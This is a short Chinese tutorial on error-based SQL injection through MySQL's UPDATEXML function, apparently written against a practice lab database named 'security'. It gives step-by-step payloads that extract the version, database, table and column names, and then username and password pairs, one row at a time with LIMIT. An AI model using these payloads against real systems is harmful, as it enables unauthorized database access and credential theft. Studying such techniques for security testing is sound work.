整型SQL报错注入

在学习之前,需要先了解 UpdateXml() 。

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

然后咱们再看看语句:

http://www.XXXIII.com/a.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
CONCAT(str1,str2,…)

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

错误大概会是:

ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
不懂Xpath格式的字符串的来这里:http://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

获取数据库名:updatexml(1,concat(0x7e,(select database()),0x7e),1)#
--current-db获取当前数据库

获取表名:updatexml(1,concat(0x23,(select group_concat (table_name) from information_schema.tables where table_schema='security')),1)#
security为上一步获取到的数据库名

获取字段名:updatexml(1,concat(0x23,(select group_concat (column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#
users为上一步获取的表名

获取内容:updatexml(1,concat(0x23,(select group_concat (username,0x23,password) from security.users)),1)#
username,password为上一步获取到的字段名

因为报错显示位有限 用limit拆解查看数据
第一个数据:updatexml(1,concat(0x23,(select concat (username,0x23,password) from security.users limit 0,1)),1)#
第二个数据:updatexml(1,concat(0x23,(select concat (username,0x23,password) from security.users limit 1,1)),1)#
·················

你可能感兴趣的:(整型SQL报错注入)